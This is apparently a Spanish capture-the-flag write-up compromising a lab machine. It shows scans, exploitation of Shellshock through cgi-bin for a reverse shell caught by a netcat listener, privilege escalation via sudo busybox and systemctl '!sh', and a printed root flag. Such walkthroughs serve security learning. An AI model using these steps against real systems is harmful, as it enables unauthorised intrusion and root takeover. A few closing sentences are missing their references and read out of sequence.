Escaneamos los servicios de los puertos abiertos en busca de información de versiones, etc.
❯ sudo nmap -sCV -p22,80 192.168.1.81
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 37:36:60:3e:26:ae:23:3f:e1:8b:5d:18:e7:a7:c7:ce (RSA)
| 256 34:9a:57:60:7d:66:70:d5:b5:ff:47:96:e0:36:23:75 (ECDSA)
|_ 256 ae:7d:ee:fe:1d:bc:99:4d:54:45:3d:61:16:f8:6c:87 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
Lanzamos un escaneo con nikto pero la información no es relevante prácticamente.
❯ nikto -h http://192.168.1.81
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.1.81
+ Target Hostname: 192.168.1.81
+ Target Port: 80
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: POST, OPTIONS, HEAD, GET .
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8909 requests: 0 error(s) and 5 item(s) reported on remote host
---------------------------------------------------------------------------
+ 1 host(s) tested
Pasamos a la enumeración de directorios y vemos que el directorio cgi-bin existe.
Si echamos un vistazo vía navegador sobre el servicio HTTP encontramos algo muy sencillo.
Buscando información sobre cgi-bin, se trata de un directorio donde se almacenan scripts para interactuar con el servidor web. Esto ofrece a los programas externos, hacer uso de los datos que provengan del servidor web. Suele ser muy común que los servidores web que presentan este directorio, sean vulnerables al ShellShock attack.
ShellShock es una vulnerabilidad que afecta al shell de línea de comandos Bash, ampliamente utilizado en los sistemas operativos basados en Unix. Su objetivo es la capacidad de Bash para ejecutar comandos pasados por aplicaciones. La vulnerabilidad radica en la manipulación de variables de entorno, que son valores dinámicos que afectan a la forma en que los procesos se ejecutan en un ordenador. Los atacantes pueden explotar esto adjuntando código malicioso a las variables de entorno, que se ejecuta al recibir la variable. Esto permite a los atacantes comprometer potencialmente el sistema.
Antes de probar si es vulnerable o no haremos fuzzing sobre el directorio cgi-bin porque deberían existir scripts. Encontramos un script llamado shell.
Si accedemos al script vía navegador, obtenemos un error.
Fase de explotación
Abrimos nuestro puerto 4444 para recibir la reverse shell.
❯ nc -nlvp 4444
listening on [any] 4444 ...
Realizamos una solicitud HTTP con curl donde definiremos el encabezado User-Agent, para que ejecute una shell bash que será enviada a nuestra máquina atacante por el puerto 4444. Con esto conseguimos manipular el encabezado User-Agent para poder ejecutar comandos de forma arbitraria en la máquina víctima.
❯ nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.1.50] from (UNKNOWN) [192.168.1.81] 53976
bash: cannot set terminal process group (469): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.3$
Enumeramos los permisos sudo del usuario www-data, tiene capacidad de ejecutar busybox como usuario will.
bash-4.3$ sudo -l
Matching Defaults entries for www-data on shock:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on shock:
(will) NOPASSWD: /usr/bin/busybox
bash-4.3$ sudo -u will /usr/bin/busybox sh
BusyBox v1.30.1 (Debian 1:1.30.1-4) built-in shell (ash)
Enter 'help' for a list of built-in commands.
/usr/lib/cgi-bin $ whoami
will
Realizamos de nuevo el tratamiento de la tty.
Enumeramos permisos sudo del usuario will, tiene capacidad de ejecutar el binario de systemctl como root.
will@shock:/usr/lib/cgi-bin$ sudo -l
Matching Defaults entries for will on shock:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User will may run the following commands on shock:
(root) NOPASSWD: /usr/bin/systemctl
Ejecutamos el siguiente comando para interactuar con el sistema de control de servicios de systemd y luego spawnear la shell como usuario root.
will@shock:/usr/lib/cgi-bin$ sudo systemctl
!sh
# whoami
root
# pwd
/usr/lib/cgi-bin
# cd /root
# ls
root.txt
# cat root.txt
f47fa61f24939dfcc393936fe15382d4
En hay documentadas varias PoC donde se explica como explotar esta vulnerabilidad.
Después de buscar información sobre , encontramos en la forma de ejecutar el binario como root pero en este caso lo adaptaremos para ejecutarlo como usuario will.
Buscamos en opciones de escalada de privilegios a partir de la ejecución del binario como sudo y encontramos varias opciones.
